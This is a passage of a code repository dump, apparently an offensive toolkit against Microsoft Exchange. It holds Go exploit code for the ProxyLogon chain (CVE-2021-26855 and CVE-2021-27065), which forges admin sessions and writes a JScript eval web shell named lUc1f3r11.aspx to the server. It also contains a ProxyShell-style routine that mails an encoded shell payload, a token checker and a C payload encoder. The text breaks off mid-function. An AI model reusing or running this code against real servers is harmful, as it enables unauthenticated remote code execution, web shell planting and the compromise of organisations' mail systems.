234 | func sendmail(target, token, sid, email string) {
235 | cli := &http.Client{Timeout: time.Second * 7, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}}
236 | if !strings.Contains(target, "http") {
237 | target = "http://" + target
238 | }
239 |
240 | endpoint_addr := "/autodiscover/autodiscover.json?a=luci@ex.com/EWS/exchange.asmx/?X-Rps-CAT="
241 |
242 | soap_data := `
247 |
248 |
249 |
250 | ` + sid + `
251 |
252 |
253 | S-1-5-21
254 |
255 |
256 |
257 |
258 |
259 |
260 |
261 |
262 | you are fucked
263 | hello from darkness side
264 |
265 |
266 | FileAttachment.txt
267 | false
268 | false
269 | ldZUhrdpFDnNqQbf96nf2v+CYWdUhrdpFII5hvcGqRT/gtbahqXahoI5uanf2jmp1mlU041pqRT/FIb32tld9wZUFLfTBjm5qd/aKSDTqQ2MyenapanNjL7aXPfa1hR+glSNDYIPa4L3BtapXdqCyTEhlfvWVIa3aRTZ
270 |
271 |
272 |
273 |
274 | ` + email + `
275 |
276 |
277 |
278 |
279 |
280 |
281 | `
282 |
283 | request, err := http.NewRequest(http.MethodPost, target+endpoint_addr+token, strings.NewReader(soap_data))
284 | if err != nil {
285 | fmt.Println(err)
286 | }
287 |
288 | request.Header.Add("Accept-Encoding", "identity")
289 | request.Header.Add("Cookie", "Email=autodiscover/autodiscover.json?a=luci@ex.com")
290 | request.Header.Add("Content-Type", "text/xml")
291 |
292 | do, err := cli.Do(request)
293 | if err != nil {
294 | fmt.Println("[-] requesting err...")
295 | return
296 | }
297 |
298 | defer func() {
299 | _ = do.Body.Close()
300 | }()
301 |
302 | ioread, _ := ioutil.ReadAll(do.Body)
303 | resp := string(ioread)
304 | ResponseCode := Between(resp, ``, ``)
305 |
306 | if do.StatusCode == 200 {
307 | fmt.Println("[+] send shell mail successful: " + ResponseCode)
308 | } else {
309 | fmt.Println("[-] send shell mail failed !!!")
310 | }
311 | }
312 |
313 | func main() {
314 | Banner()
315 | var target, token, sid, email string
316 | flag.StringVar(&target, "u", "", "")
317 | flag.StringVar(&token, "t", "", "")
318 | flag.StringVar(&sid, "i", "", "")
319 | flag.StringVar(&email, "e", "", "")
320 | flag.CommandLine.Usage = func() {
321 | fmt.Println("usage:\nexec: ./chkproxyshell -u \n")
322 | }
323 | flag.Parse()
324 |
325 | if len(target) == 0 {
326 | fmt.Println("[+] please enter the url you want to check!!!")
327 | fmt.Println("[+] Author: https://github.com/FDlucifer, https://twitter.com/fdlucifer11")
328 | }
329 |
330 | check(target)
331 | sendmail(target, token, sid, email)
332 | }
333 |
--------------------------------------------------------------------------------
/confirmtoken.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "crypto/tls"
5 | "flag"
6 | "fmt"
7 | "net/http"
8 | "strings"
9 | "time"
10 | )
11 |
12 | func confirmtoken(target, token string) {
13 | cli := &http.Client{Timeout: time.Second * 7, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}}
14 | if !strings.Contains(target, "http") {
15 | target = "http://" + target
16 | }
17 |
18 | endpoint_addr := "/autodiscover/autodiscover.json?a=luci@ex.com/powershell/?X-Rps-CAT="
19 |
20 | request, err := http.NewRequest(http.MethodGet, target+endpoint_addr+token, nil)
21 | if err != nil {
22 | fmt.Println(err)
23 | }
24 |
25 | request.Header.Add("Accept-Encoding", "identity")
26 | request.Header.Add("Cookie", "Email=autodiscover/autodiscover.json?a=luci@ex.com")
27 | request.Header.Add("Content-Type", "application/soap+xml;charset=UTF-8")
28 |
29 | do, err := cli.Do(request)
30 | if err != nil {
31 | fmt.Println("[-] requesting err...")
32 | return
33 | }
34 |
35 | defer func() {
36 | _ = do.Body.Close()
37 | }()
38 |
39 | if do.StatusCode == 200 {
40 | fmt.Println("[+] the input token is valid to use!")
41 | } else {
42 | fmt.Println("[-] the input token is invalid!")
43 | }
44 | }
45 |
46 | func main() {
47 | var target, token string
48 | flag.StringVar(&target, "u", "", "")
49 | flag.StringVar(&token, "t", "", "")
50 | flag.CommandLine.Usage = func() {
51 | fmt.Println("usage:\nexec: ./chkproxyshell -u -t \n")
52 | }
53 | flag.Parse()
54 |
55 | if len(target) == 0 {
56 | fmt.Println("[+] please enter the url you want to check!!!")
57 | fmt.Println("[+] Author: https://github.com/FDlucifer, https://twitter.com/fdlucifer11")
58 | } else if len(token) == 0 {
59 | fmt.Println("[+] please enter the token you want to check!!!")
60 | fmt.Println("[+] Author: https://github.com/FDlucifer, https://twitter.com/fdlucifer11")
61 | }
62 | confirmtoken(target, token)
63 | }
64 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module proxy-attackchain
2 |
3 | go 1.16
4 |
5 | require github.com/fatih/color v1.13.0 // indirect
6 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
2 | github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
3 | github.com/mattn/go-colorable v0.1.9 h1:sqDoxXbdeALODt0DAeJCVp38ps9ZogZEAXjus69YV3U=
4 | github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
5 | github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
6 | github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
7 | github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
8 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
9 | golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
10 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c h1:F1jZWGFhYfh0Ci55sIpILtKKK8p3i2/krTr0H1rg74I=
11 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
12 |
--------------------------------------------------------------------------------
/padre:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/padre
--------------------------------------------------------------------------------
/payloadenc.c:
--------------------------------------------------------------------------------
1 | // compiled on windows :(
2 | #include
3 | #include
4 | #include
5 |
6 | byte mpbbCrypt[] =
7 | {
8 | 65, 54, 19, 98, 168, 33, 110, 187,
9 | 244, 22, 204, 4, 127, 100, 232, 93,
10 | 30, 242, 203, 42, 116, 197, 94, 53,
11 | 210, 149, 71, 158, 150, 45, 154, 136,
12 | 76, 125, 132, 63, 219, 172, 49, 182,
13 | 72, 95, 246, 196, 216, 57, 139, 231,
14 | 35, 59, 56, 142, 200, 193, 223, 37,
15 | 177, 32, 165, 70, 96, 78, 156, 251,
16 | 170, 211, 86, 81, 69, 124, 85, 0,
17 | 7, 201, 43, 157, 133, 155, 9, 160,
18 | 143, 173, 179, 15, 99, 171, 137, 75,
19 | 215, 167, 21, 90, 113, 102, 66, 191,
20 | 38, 74, 107, 152, 250, 234, 119, 83,
21 | 178, 112, 5, 44, 253, 89, 58, 134,
22 | 126, 206, 6, 235, 130, 120, 87, 199,
23 | 141, 67, 175, 180, 28, 212, 91, 205,
24 | 226, 233, 39, 79, 195, 8, 114, 128,
25 | 207, 176, 239, 245, 40, 109, 190, 48,
26 | 77, 52, 146, 213, 14, 60, 34, 50,
27 | 229, 228, 249, 159, 194, 209, 10, 129,
28 | 18, 225, 238, 145, 131, 118, 227, 151,
29 | 230, 97, 138, 23, 121, 164, 183, 220,
30 | 144, 122, 92, 140, 2, 166, 202, 105,
31 | 222, 80, 26, 17, 147, 185, 82, 135,
32 | 88, 252, 237, 29, 55, 73, 27, 106,
33 | 224, 41, 51, 153, 189, 108, 217, 148,
34 | 243, 64, 84, 111, 240, 198, 115, 184,
35 | 214, 62, 101, 24, 68, 31, 221, 103,
36 | 16, 241, 12, 25, 236, 174, 3, 161,
37 | 20, 123, 169, 11, 255, 248, 163, 192,
38 | 162, 1, 247, 46, 188, 36, 104, 117,
39 | 13, 254, 186, 47, 181, 208, 218, 61,
40 | 20, 83, 15, 86, 179, 200, 122, 156,
41 | 235, 101, 72, 23, 22, 21, 159, 2,
42 | 204, 84, 124, 131, 0, 13, 12, 11,
43 | 162, 98, 168, 118, 219, 217, 237, 199,
44 | 197, 164, 220, 172, 133, 116, 214, 208,
45 | 167, 155, 174, 154, 150, 113, 102, 195,
46 | 99, 153, 184, 221, 115, 146, 142, 132,
47 | 125, 165, 94, 209, 93, 147, 177, 87,
48 | 81, 80, 128, 137, 82, 148, 79, 78,
49 | 10, 107, 188, 141, 127, 110, 71, 70,
50 | 65, 64, 68, 1, 17, 203, 3, 63,
51 | 247, 244, 225, 169, 143, 60, 58, 249,
52 | 251, 240, 25, 48, 130, 9, 46, 201,
53 | 157, 160, 134, 73, 238, 111, 77, 109,
54 | 196, 45, 129, 52, 37, 135, 27, 136,
55 | 170, 252, 6, 161, 18, 56, 253, 76,
56 | 66, 114, 100, 19, 55, 36, 106, 117,
57 | 119, 67, 255, 230, 180, 75, 54, 92,
58 | 228, 216, 53, 61, 69, 185, 44, 236,
59 | 183, 49, 43, 41, 7, 104, 163, 14,
60 | 105, 123, 24, 158, 33, 57, 190, 40,
61 | 26, 91, 120, 245, 35, 202, 42, 176,
62 | 175, 62, 254, 4, 140, 231, 229, 152,
63 | 50, 149, 211, 246, 74, 232, 166, 234,
64 | 233, 243, 213, 47, 112, 32, 242, 31,
65 | 5, 103, 173, 85, 16, 206, 205, 227,
66 | 39, 59, 218, 186, 215, 194, 38, 212,
67 | 145, 29, 210, 28, 34, 51, 248, 250,
68 | 241, 90, 239, 207, 144, 182, 139, 181,
69 | 189, 192, 191, 8, 151, 30, 108, 226,
70 | 97, 224, 198, 193, 89, 171, 187, 88,
71 | 222, 95, 223, 96, 121, 126, 178, 138,
72 | 71, 241, 180, 230, 11, 106, 114, 72,
73 | 133, 78, 158, 235, 226, 248, 148, 83,
74 | 224, 187, 160, 2, 232, 90, 9, 171,
75 | 219, 227, 186, 198, 124, 195, 16, 221,
76 | 57, 5, 150, 48, 245, 55, 96, 130,
77 | 140, 201, 19, 74, 107, 29, 243, 251,
78 | 143, 38, 151, 202, 145, 23, 1, 196,
79 | 50, 45, 110, 49, 149, 255, 217, 35,
80 | 209, 0, 94, 121, 220, 68, 59, 26,
81 | 40, 197, 97, 87, 32, 144, 61, 131,
82 | 185, 67, 190, 103, 210, 70, 66, 118,
83 | 192, 109, 91, 126, 178, 15, 22, 41,
84 | 60, 169, 3, 84, 13, 218, 93, 223,
85 | 246, 183, 199, 98, 205, 141, 6, 211,
86 | 105, 92, 134, 214, 20, 247, 165, 102,
87 | 117, 172, 177, 233, 69, 33, 112, 12,
88 | 135, 159, 116, 164, 34, 76, 111, 191,
89 | 31, 86, 170, 46, 179, 120, 51, 80,
90 | 176, 163, 146, 188, 207, 25, 28, 167,
91 | 99, 203, 30, 77, 62, 75, 27, 155,
92 | 79, 231, 240, 238, 173, 58, 181, 89,
93 | 4, 234, 64, 85, 37, 81, 229, 122,
94 | 137, 56, 104, 82, 123, 252, 39, 174,
95 | 215, 189, 250, 7, 244, 204, 142, 95,
96 | 239, 53, 156, 132, 43, 21, 213, 119,
97 | 52, 73, 182, 18, 10, 127, 113, 136,
98 | 253, 157, 24, 65, 125, 147, 216, 88,
99 | 44, 206, 254, 36, 175, 222, 184, 54,
100 | 200, 161, 128, 166, 153, 152, 168, 47,
101 | 14, 129, 101, 115, 228, 194, 162, 138,
102 | 212, 225, 17, 208, 8, 139, 42, 242,
103 | 237, 154, 100, 63, 193, 108, 249, 236
104 | };
105 |
106 | #define mpbbR (mpbbCrypt)
107 | #define mpbbS (mpbbCrypt + 256)
108 | #define mpbbI (mpbbCrypt + 512)
109 |
110 | void CryptPermute(PVOID pv, int cb, BOOL fEncrypt)
111 | {
112 | // cb -> buffer size
113 | // pv -> buffer
114 | byte * pb = (byte *)pv;
115 | byte * pbTable = fEncrypt ? mpbbR : mpbbI;
116 | const DWORD * pdw = (const DWORD *) pv;
117 | DWORD dwCurr;
118 | byte b;
119 |
120 | if (cb >= sizeof(DWORD))
121 | {
122 | while (0 != (((DWORD_PTR) pb) % sizeof(DWORD)))
123 | {
124 | *pb = pbTable[*pb];
125 | pb++;
126 | cb--;
127 | }
128 |
129 | pdw = (const DWORD *) pb;
130 | for (; cb >= 4; cb -= 4)
131 | {
132 | dwCurr = *pdw;
133 |
134 | b = (byte) (dwCurr & 0xFF);
135 | *pb = pbTable[b];
136 | pb++;
137 |
138 | dwCurr = dwCurr >> 8;
139 | b = (byte) (dwCurr & 0xFF);
140 | *pb = pbTable[b];
141 | pb++;
142 |
143 | dwCurr = dwCurr >> 8;
144 | b = (byte) (dwCurr & 0xFF);
145 | *pb = pbTable[b];
146 | pb++;
147 |
148 | dwCurr = dwCurr >> 8;
149 | b = (byte) (dwCurr & 0xFF);
150 | *pb = pbTable[b];
151 | pb++;
152 |
153 | pdw++;
154 | }
155 |
156 | pb = (byte *) pdw;
157 | }
158 |
159 | for (; --cb >= 0; ++pb)
160 | *pb = pbTable[*pb];
161 | }
162 |
163 |
164 | void main(){
165 | char[] payload = "";
166 | int length = strlen(payload);
167 | CryptPermute(payload, length, false);
168 | printf("[+] the encoded payload is: %s", payload);
169 | }
--------------------------------------------------------------------------------
/pics/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/.DS_Store
--------------------------------------------------------------------------------
/pics/cve-2021-42321.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/cve-2021-42321.png
--------------------------------------------------------------------------------
/pics/logo-black.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/logo-black.png
--------------------------------------------------------------------------------
/pics/proxylogon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxylogon.png
--------------------------------------------------------------------------------
/pics/proxylogon1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxylogon1.png
--------------------------------------------------------------------------------
/pics/proxyoracle.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxyoracle.png
--------------------------------------------------------------------------------
/pics/proxyoracle1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxyoracle1.png
--------------------------------------------------------------------------------
/pics/proxyshell.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxyshell.png
--------------------------------------------------------------------------------
/pics/proxyshell12.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxyshell12.png
--------------------------------------------------------------------------------
/pics/proxyshell13.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxyshell13.png
--------------------------------------------------------------------------------
/pics/proxyshell14.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxyshell14.png
--------------------------------------------------------------------------------
/pics/proxyshell15.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxyshell15.png
--------------------------------------------------------------------------------
/pics/proxyshell16.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxyshell16.png
--------------------------------------------------------------------------------
/pics/proxyshell17.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxyshell17.png
--------------------------------------------------------------------------------
/pics/proxyshell18.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxyshell18.png
--------------------------------------------------------------------------------
/pics/proxyshell19.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxyshell19.png
--------------------------------------------------------------------------------
/pics/proxytoken.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxytoken.png
--------------------------------------------------------------------------------
/proxylogon.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | // chained CVE-2021-26855(bypassing the authentication and impersonating as the admin),CVE-2021-27065(post-auth arbitrary-file-write)
4 | // an unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server through an only opened 443 port!
5 |
6 | import (
7 | "bufio"
8 | "crypto/tls"
9 | "errors"
10 | "flag"
11 | "fmt"
12 | "io/ioutil"
13 | "math/rand"
14 | "net/http"
15 | "os"
16 | "os/exec"
17 | "regexp"
18 | "strconv"
19 | "strings"
20 | "time"
21 |
22 | "github.com/fatih/color"
23 | )
24 |
25 | func Banner() {
26 | z := `
27 | ╔═╗┬─┐┌─┐─┐ ┬┬ ┬┬ ┌─┐┌─┐┌─┐┌┐┌
28 | ╠═╝├┬┘│ │┌┴┬┘└┬┘│ │ ││ ┬│ ││││
29 | ╩ ┴└─└─┘┴ └─ ┴ ┴─┘└─┘└─┘└─┘┘└┘`
30 | x := `
31 | ----------------------
32 | < proxylogon is awesome! >
33 | ----------------------
34 | \ ^__^
35 | \ (oo)\_______
36 | (__)\ )\/\
37 | ||----w |
38 | || ||`
39 | y := "By lUc1f3r11"
40 | color.Blue("%s", z)
41 | color.Red("%s", x)
42 | color.Yellow("%s", y)
43 | }
44 |
45 | func splitsid(sid string) string {
46 | sid1 := strings.Split(sid, "-")
47 | sid2 := sid1[len(sid1)-1]
48 | return sid2
49 | }
50 |
51 | func modifysid(sid string) string {
52 | sid1 := strings.Split(sid, "-")
53 | sid2 := sid1[len(sid1)-1]
54 | sid3 := strings.Split(sid, sid2)
55 | sid4 := sid3[0] + "500"
56 | return sid4
57 | }
58 |
59 | func splitsess(sess string) string {
60 | sess1 := strings.Split(sess, "ASP.NET_SessionId=")
61 | sess2 := sess1[len(sess1)-1]
62 | sess3 := strings.Split(sess2, ";")
63 | sess4 := sess3[0]
64 |
65 | return sess4
66 | }
67 |
68 | func splitmsexch(msexch string) string {
69 | msexch1 := strings.Split(msexch, "msExchEcpCanary=")
70 | msexch2 := msexch1[len(msexch1)-1]
71 | msexch3 := strings.Split(msexch2, ";")
72 | msexch4 := msexch3[0]
73 |
74 | return msexch4
75 | }
76 |
77 | func Between(str, starting, ending string) string {
78 | s := strings.Index(str, starting)
79 | if s < 0 {
80 | return ""
81 | }
82 | s += len(starting)
83 | e := strings.Index(str[s:], ending)
84 | if e < 0 {
85 | return ""
86 | }
87 | return str[s : s+e]
88 | }
89 |
90 | // 声明两个新的错误返回
91 | var ErrNotPath = errors.New("Path Required")
92 | var ErrRegexp = errors.New("Regexp Fail")
93 |
94 | func execShell(input string) error {
95 | // 去除输入中最后的换行
96 | input = strings.TrimSuffix(input, "\n")
97 |
98 | // 去除输入前后的空格
99 | input = strings.TrimSpace(input)
100 |
101 | // 正则匹配输入字符中连续多个空格替换为一个空格
102 | r, err := regexp.Compile(" +")
103 | if err != nil {
104 | return ErrRegexp
105 | }
106 | input = r.ReplaceAllString(input, " ")
107 |
108 | args := strings.Split(input, " ")
109 |
110 | // 判断用户输入是否为cd
111 | switch args[0] {
112 | case "cd":
113 | if len(args) < 2 {
114 | return ErrNotPath
115 | }
116 | return os.Chdir(args[1])
117 |
118 | case "exit":
119 | os.Exit(0)
120 | }
121 |
122 | cmd := exec.Command(args[0], args[1:]...)
123 |
124 | cmd.Stdout = os.Stdout
125 | cmd.Stderr = os.Stderr
126 |
127 | return cmd.Run()
128 | }
129 |
130 | func splitBackEnd(sess string) string {
131 | sess1 := strings.Split(sess, "X-BackEndCookie=")
132 | sess2 := sess1[len(sess1)-1]
133 | sess3 := strings.Split(sess2, "; ")
134 | sess4 := sess3[0]
135 |
136 | return sess4
137 | }
138 |
139 | func splitMasterAccountSid(sess string) string {
140 | sess1 := strings.Split(sess, "with SID ")
141 | sess2 := sess1[len(sess1)-1]
142 | sess3 := strings.Split(sess2, " and MasterAccountSid")
143 | sess4 := sess3[0]
144 |
145 | return sess4
146 | }
147 |
148 | func getshell(target, mail, FQDN, sid string) {
149 | // shell_absolute_path1 := "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\lUc1f3r11.aspx"
150 | // shell_absolute_path2 := "\\\\127.0.0.1\\c$\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\lUc1f3r11.aspx"
151 | shell_name := "lUc1f3r11.aspx"
152 | shell_payload := `%3Cscript%20language%3D%22JScript%22%20runat%3D%22server%22%3E%20function%20Page_Load%28%29%7B%2F%2A%2A%2Feval%28Request%5B%22lUc1f3r11%22%5D%2C%22unsafe%22%29%3B%7D%3C%2Fscript%3E`
153 | random_name := strconv.FormatInt(int64(rand.New(rand.NewSource(time.Now().UnixNano())).Int31n(1000)), 10) + ".js"
154 | user_agent := "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
155 | json := `{"filter": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel","SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}}`
156 |
157 | if splitsid(sid) != "500" {
158 | sid = modifysid(sid)
159 | }
160 | fmt.Println("[+] Fixed User SID: " + sid)
161 |
162 | proxyLogon_request := `` + sid + `S-1-1-0S-1-5-2S-1-5-11S-1-5-15S-1-5-5-0-6948923`
163 |
164 | /*构造payload*/
165 | cli := &http.Client{Timeout: time.Second * 7, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}}
166 | if !strings.Contains(target, "http") {
167 | target = "http://" + target
168 | }
169 |
170 | request, err := http.NewRequest(http.MethodPost, target+"/ecp/"+random_name, strings.NewReader(proxyLogon_request))
171 | if err != nil {
172 | fmt.Println(err)
173 | }
174 |
175 | request.Header.Add("Cookie", "X-BEResource=Admin@"+FQDN+":444/ecp/proxyLogon.ecp?a=~1942062522;")
176 | request.Header.Add("Content-Type", "text/xml")
177 | request.Header.Add("msExchLogonAccount", sid)
178 | request.Header.Add("msExchLogonMailbox", sid)
179 | request.Header.Add("msExchTargetMailbox", sid)
180 | request.Header.Add("User-Agent", user_agent)
181 |
182 | do, err := cli.Do(request)
183 | if err != nil {
184 | fmt.Println("[-] requesting err...")
185 | return
186 | }
187 |
188 | defer func() {
189 | _ = do.Body.Close()
190 | }()
191 |
192 | if do.StatusCode != 241 {
193 | fmt.Println("[-] Proxylogon Error!")
194 | }
195 |
196 | sess_id := splitsess(do.Header["Set-Cookie"][0])
197 | msExchEcpCanary := splitmsexch(do.Header["Set-Cookie"][1])
198 | fmt.Println("[+] Login success!!!")
199 | fmt.Println("[+] ASP.NET_SessionId=" + sess_id + "; msExchEcpCanary=" + msExchEcpCanary)
200 |
201 | request1, err := http.NewRequest(http.MethodGet, target+"/ecp/"+random_name, strings.NewReader(""))
202 | if err != nil {
203 | fmt.Println(err)
204 | }
205 |
206 | request1.Header.Add("Cookie", "X-BEResource=Admin@"+FQDN+":444/ecp/about.aspx?a=~1942062522; ASP.NET_SessionId="+sess_id+"; msExchEcpCanary="+msExchEcpCanary)
207 | request1.Header.Add("msExchLogonAccount", sid)
208 | request1.Header.Add("msExchLogonMailbox", sid)
209 | request1.Header.Add("msExchTargetMailbox", sid)
210 | request1.Header.Add("User-Agent", user_agent)
211 |
212 | do1, err := cli.Do(request1)
213 | if err != nil {
214 | fmt.Println("[-] requesting err...")
215 | return
216 | }
217 |
218 | if do1.StatusCode != 200 {
219 | fmt.Println("[-] Wrong canary!")
220 | fmt.Println("[-] Sometime we can skip this ...")
221 | } else {
222 | fmt.Println("[+] ==== It means good to go!!!====")
223 | }
224 |
225 | request2, err := http.NewRequest(http.MethodPost, target+"/ecp/"+random_name, strings.NewReader(json))
226 | if err != nil {
227 | fmt.Println(err)
228 | }
229 |
230 | request2.Header.Add("Cookie", "X-BEResource=Admin@"+FQDN+":444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary="+msExchEcpCanary+"&a=~1942062522; ASP.NET_SessionId="+sess_id+"; msExchEcpCanary="+msExchEcpCanary)
231 | request2.Header.Add("Content-Type", "application/json; charset=utf-8")
232 | request2.Header.Add("msExchLogonAccount", sid)
233 | request2.Header.Add("msExchLogonMailbox", sid)
234 | request2.Header.Add("msExchTargetMailbox", sid)
235 | request2.Header.Add("User-Agent", user_agent)
236 |
237 | do2, err := cli.Do(request2)
238 | if err != nil {
239 | fmt.Println("[-] requesting err...")
240 | return
241 | }
242 | if do2.StatusCode != 200 {
243 | fmt.Println("[-] GetOAB Error!")
244 | } else {
245 | fmt.Println("[+] GetOAB success!")
246 | }
247 |
248 | ioread, _ := ioutil.ReadAll(do2.Body)
249 |
250 | oabId := Between(string(ioread), `"RawIdentity":"`, `"`)
251 | fmt.Println("[+] Got OAB id: " + oabId)
252 | oab_json := `{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "` + oabId + `"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "ExternalUrl": "http://ffff/#` + shell_payload + `"}}}`
253 | request3, err := http.NewRequest(http.MethodPost, target+"/ecp/"+random_name, strings.NewReader(oab_json))
254 | if err != nil {
255 | fmt.Println(err)
256 | }
257 |
258 | request3.Header.Add("Cookie", "X-BEResource=Admin@"+FQDN+":444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary="+msExchEcpCanary+"&a=~1942062522; ASP.NET_SessionId="+sess_id+"; msExchEcpCanary="+msExchEcpCanary)
259 | request3.Header.Add("Content-Type", "application/json; charset=utf-8")
260 | request3.Header.Add("msExchLogonAccount", sid)
261 | request3.Header.Add("msExchLogonMailbox", sid)
262 | request3.Header.Add("msExchTargetMailbox", sid)
263 | request3.Header.Add("User-Agent", user_agent)
264 |
265 | do3, err := cli.Do(request3)
266 | if err != nil {
267 | fmt.Println("[-] requesting err...")
268 | return
269 | }
270 |
271 | if do3.StatusCode != 200 {
272 | fmt.Println("[-] Set external url Error! target may have some anti defence...")
273 | } else {
274 | fmt.Println("[+] Set external url success!")
275 | reset_oab_body := `{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "` + oabId + `"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\lUc1f3r11.aspx" }}}`
276 | request4, err := http.NewRequest(http.MethodPost, target+"/ecp/"+random_name, strings.NewReader(reset_oab_body))
277 | if err != nil {
278 | fmt.Println(err)
279 | }
280 |
281 | request4.Header.Add("Cookie", "X-BEResource=Admin@"+FQDN+":444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary="+msExchEcpCanary+"&a=~1942062522; ASP.NET_SessionId="+sess_id+"; msExchEcpCanary="+msExchEcpCanary)
282 | request4.Header.Add("Content-Type", "application/json; charset=utf-8")
283 | request4.Header.Add("msExchLogonAccount", sid)
284 | request4.Header.Add("msExchLogonMailbox", sid)
285 | request4.Header.Add("msExchTargetMailbox", sid)
286 | request4.Header.Add("User-Agent", user_agent)
287 |
288 | do4, err := cli.Do(request4)
289 | if err != nil {
290 | fmt.Println("[-] requesting err...")
291 | return
292 | }
293 |
294 | if do4.StatusCode != 200 {
295 | fmt.Println("[-] Write Shell Error!")
296 | read12, _ := ioutil.ReadAll(do4.Body)
297 | fmt.Println(string(read12))
298 | } else {
299 | fmt.Println("[+] Write Shell success!")
300 | shell_e := target + "/aspnet_client/" + shell_name
301 | requestshell, err := http.NewRequest(http.MethodGet, shell_e, strings.NewReader(""))
302 | if err != nil {
303 | panic(err)
304 | }
305 |
306 | do5, err := cli.Do(requestshell)
307 | if err != nil {
